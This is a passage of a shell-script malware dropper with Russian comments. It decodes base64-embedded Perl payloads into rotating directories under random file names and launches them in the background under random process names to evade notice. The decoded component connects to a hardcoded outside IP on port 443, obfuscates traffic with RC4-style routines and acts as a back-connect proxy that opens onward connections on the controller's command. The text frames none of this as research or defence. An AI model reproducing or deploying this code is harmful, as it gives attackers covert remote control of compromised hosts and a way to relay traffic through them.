LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #60 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #60 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 61 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xODcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv 